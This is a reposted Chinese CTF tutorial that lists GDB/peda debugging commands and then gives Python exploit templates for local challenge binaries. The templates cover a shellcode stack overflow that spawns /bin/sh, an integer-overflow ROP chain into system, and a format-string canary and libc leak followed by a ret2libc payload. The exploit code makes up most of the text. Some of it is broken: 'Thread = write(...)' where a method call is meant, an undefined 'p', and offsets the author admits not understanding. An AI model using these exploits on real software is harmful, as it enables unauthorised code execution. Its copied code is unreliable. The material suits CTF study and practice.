pwn 題GDB調試技巧和exp模板


GDB分析ELF文件常用的調試技巧

gdb常用命令

首先是gbd+文件名 靜態調試 ,gdb attach +文件名 動態調試

為了方便查看堆棧和寄存器 最好是安裝peda插件

安裝

可以通過pip直接安裝,也可以從github上下載安裝

$ pip install peda

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit 

命令

  • aslr – 顯示/設定GDB的ASLR(地址空間配置隨機加載)設置 
    aslr

  • checksec – 檢查二進制文件的各種安全選項 
    checksec

  • dumpargs – 函數將要被調用時,顯示將要被傳入函數的所有參數(默認會在反匯編代碼下方自動顯示)

  • dumprop – 在給定內存范圍中Dump出所有ROP gadgets 
    droprop

  • elfheader – Get headers information from debugged ELF file

  • elfsymbol – 獲取non-debugging symbol信息(plt表) 
    elfsymbol

  • lookup – Search for all addresses/references to addresses which belong to a memory range

  • patch – Patch memory start at an address with string/hexstring/int

  • pattern – 生成字符串模板 寫入內存 用於定位溢出點

    • pattern create size 生成特定長度字符串
    • pattern offset value 定位字符串 
      pattern
  • procinfo – Display various info from /proc/pid/

  • pshow – Show various PEDA options and other settings

  • pset – Set various PEDA options and other settings

  • readelf – 獲取elf頭信息 
    readelf

  • ropgadget – Get common ROP gadgets of binary or library 
    ropgadget

  • ropsearch – Search for ROP gadgets in memory

  • searchmem|find – 在內存中查找字符串,支持正則表達式 
    find

  • shellcode – 生成shellcode 
    shellcode

  • skeleton – Generate python exploit code template

  • vmmap – 可以用來查看棧、bss段是否可以執行 
    vmmap

  • xormem – XOR a memory region with a key

更多詳細用法請參考官方幫助文檔

help

 

1. checksec 查看elf編譯的保護選項。

2. file [file] 加載objfile

3. disas addr 對地址addr處的指令進行反匯編,addr可以是函數名

4. b *addr 在addr處下一個斷點

5. x addr 查看addr處存儲的數據值

6. r 運行被調試的程序

7. c 繼續運行

8. ni 單步執行不進入

9. si 單步執行並進入

10.vmmap 得到虛擬映射地址

 

PWN題常用模板

單個發送(pwn庫)

1 #coding=utf-8   #中文亂碼
2 from zio import *
3 Thread = zio(('./pwn'))  #執行同目錄下的pwn
4 Thread = write('a'*64+'\x00\x00\x00\x01')  #輸入我們的payload
5 Thread = interact()
6 //p32(Address) 把32位地址 寫成0x形式  同理64位的也是

 

ZIO庫

 1 from zio import *
 2 from pwn import *
 3 Thread = zio(('./pwn'))
 4 #shellcode1='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
 5 shellcode='\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50'
 6 TargetAddress = 0x000000000040066E
 7 Length = len(shellcode)
 8 payload = shellcode+'\x90'*(72-Length)+p64(TargetAddress)
 9 Thread.write(payload)
10 Thread.interact()
11  

pwn庫 有消息接收和判斷的


 1 from pwn import *
 2 Shellcode='a'*112+'\x5D\x86\x04\x08'
 3 Target=process('./pwn')
 4 Target.sendline(Shellcode)
 5 Target.recvuntil(':$')
 6 #context.terminal = ['gnome-terminal','-x','sh','-c']
 7 #gdb.attach(proc.pidof(Target)[0])
 8 Target.sendline('zhimakaimen')
 9 Target.interactive()
10  
11  

 

整數溢出型

 1 from pwn import *
 2 
 3 #r = remote('127.0.0.1', 9527)
 4 r = process('./pwn3')
 5 r.recvuntil('name \n')
 6 r.sendline('123')
 7 #raw_input('debug'
 8 ##構造結構可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。
 9 10 #下面開始構造
11 r.recvuntil('index\n')
12 #-2147483648  -->0x80000000 *4后溢出為0
13 context.terminal = ['gnome-terminal','-x','sh','-c'] 
14 gdb.attach(proc.pidof(p)[0])
15 r.sendline(str(-2147483648 + 14))  #ebp+4的地址處  就是Return函數的地址  現在是一處地址一處值  1
16 r.recvuntil('value\n')
17 r.sendline(str(int('8048470', 16)))  #jmp  scanf
18 r.recvuntil('index\n')
19 r.sendline(str(-2147483648 + 15))   #ebp+8
20 r.recvuntil('value\n')
21 r.sendline(str(int('0x080487de', 16)))  # pop     edi
22 r.recvuntil('index\n')
23 r.sendline(str(-2147483648 + 16))  
24 r.recvuntil('value\n') 
25 r.sendline(str(int('804884b',16)))  #0804884B a9s      db '%9s',0 
26 r.recvuntil('index\n')
27 r.sendline(str(-2147483648 + 17))  
28 r.recvuntil('value\n')
29 r.sendline(str(int('804a030', 16)))  #0804A030 __data_star  804a030 是GOT表的結尾
30 r.recvuntil('index\n')
31 r.sendline(str(-2147483648 + 18))
32 r.recvuntil('value\n')
33 r.sendline(str(int('8048420', 16))) #system  #jmp to system
34 r.recvuntil('index\n') 
35 r.sendline(str(-2147483648 + 19))
36 r.recvuntil('value\n')
37 r.sendline(str(int('804a030', 16)))  #0804A030 __data_start    db    0 
38 r.recvuntil('index\n')
39 r.sendline(str(-2147483648 + 20))
40 r.recvuntil('value\n')
41 r.sendline(str(int('804a030', 16)))  #0804A030 __data_start    db    0 
42 r.recvuntil('index\n')
43 r.sendline(str(-2147483648 + 21))
44 r.recvuntil('value\n')
45 r.sendline(str(int('8048420', 16)))  ##system  #jmp to system
46 r.recvuntil('index\n')
47 r.sendline(str(-2147483648 + 22))
48 r.recvuntil('value\n')
49 r.sendline(str(int('8048420', 16)))  ##system  #jmp to system
50 r.recvuntil('index\n')  #相當與讓代碼結束 執行ret從而執行到我們的流程
51 r.sendline('-1')
52 r.recvuntil('value\n')
53 r.sendline('10')
54 r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
55 r.sendline('/bin/sh')
56 r.interactive()

 

 
 

格式化字符串

 1 from pwn import *
 2 libc=ELF('/lib/i386-linux-gnu/i686/cmov/libc.so.6')
 3 p=process("./pwn2")
 4 context.terminal = ['gnome-terminal','-x','sh','-c'] 
 5 gdb.attach(proc.pidof(p)[0])       
 6 p.recvuntil('name:')
 7 p.sendline('%p.'*40)     #輸出字符串 
 8 leak_data=p.recvuntil('messages:')
 9 address=leak_data.split('.')            #將輸出的地址分組 然后進行分組
10 canary=int(address[30],16)     #這里為什么是 第30個
11 stack_addr=int(address[33],16)-0x90+0x8+0x8   #這里也不懂
12 put_addr=int(address[22],16)-0x144                  
13 system_addr=put_addr-(libc.symbols['puts']-libc.symbols['system'])
14 15 payload ='a'*100+p32(canary)+'a'*12+p32(system_addr)+'bbbb'+p32(stack_addr)+'/bin/sh\x00'
16 17 p.sendline(payload)
18 19 p.interactive()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM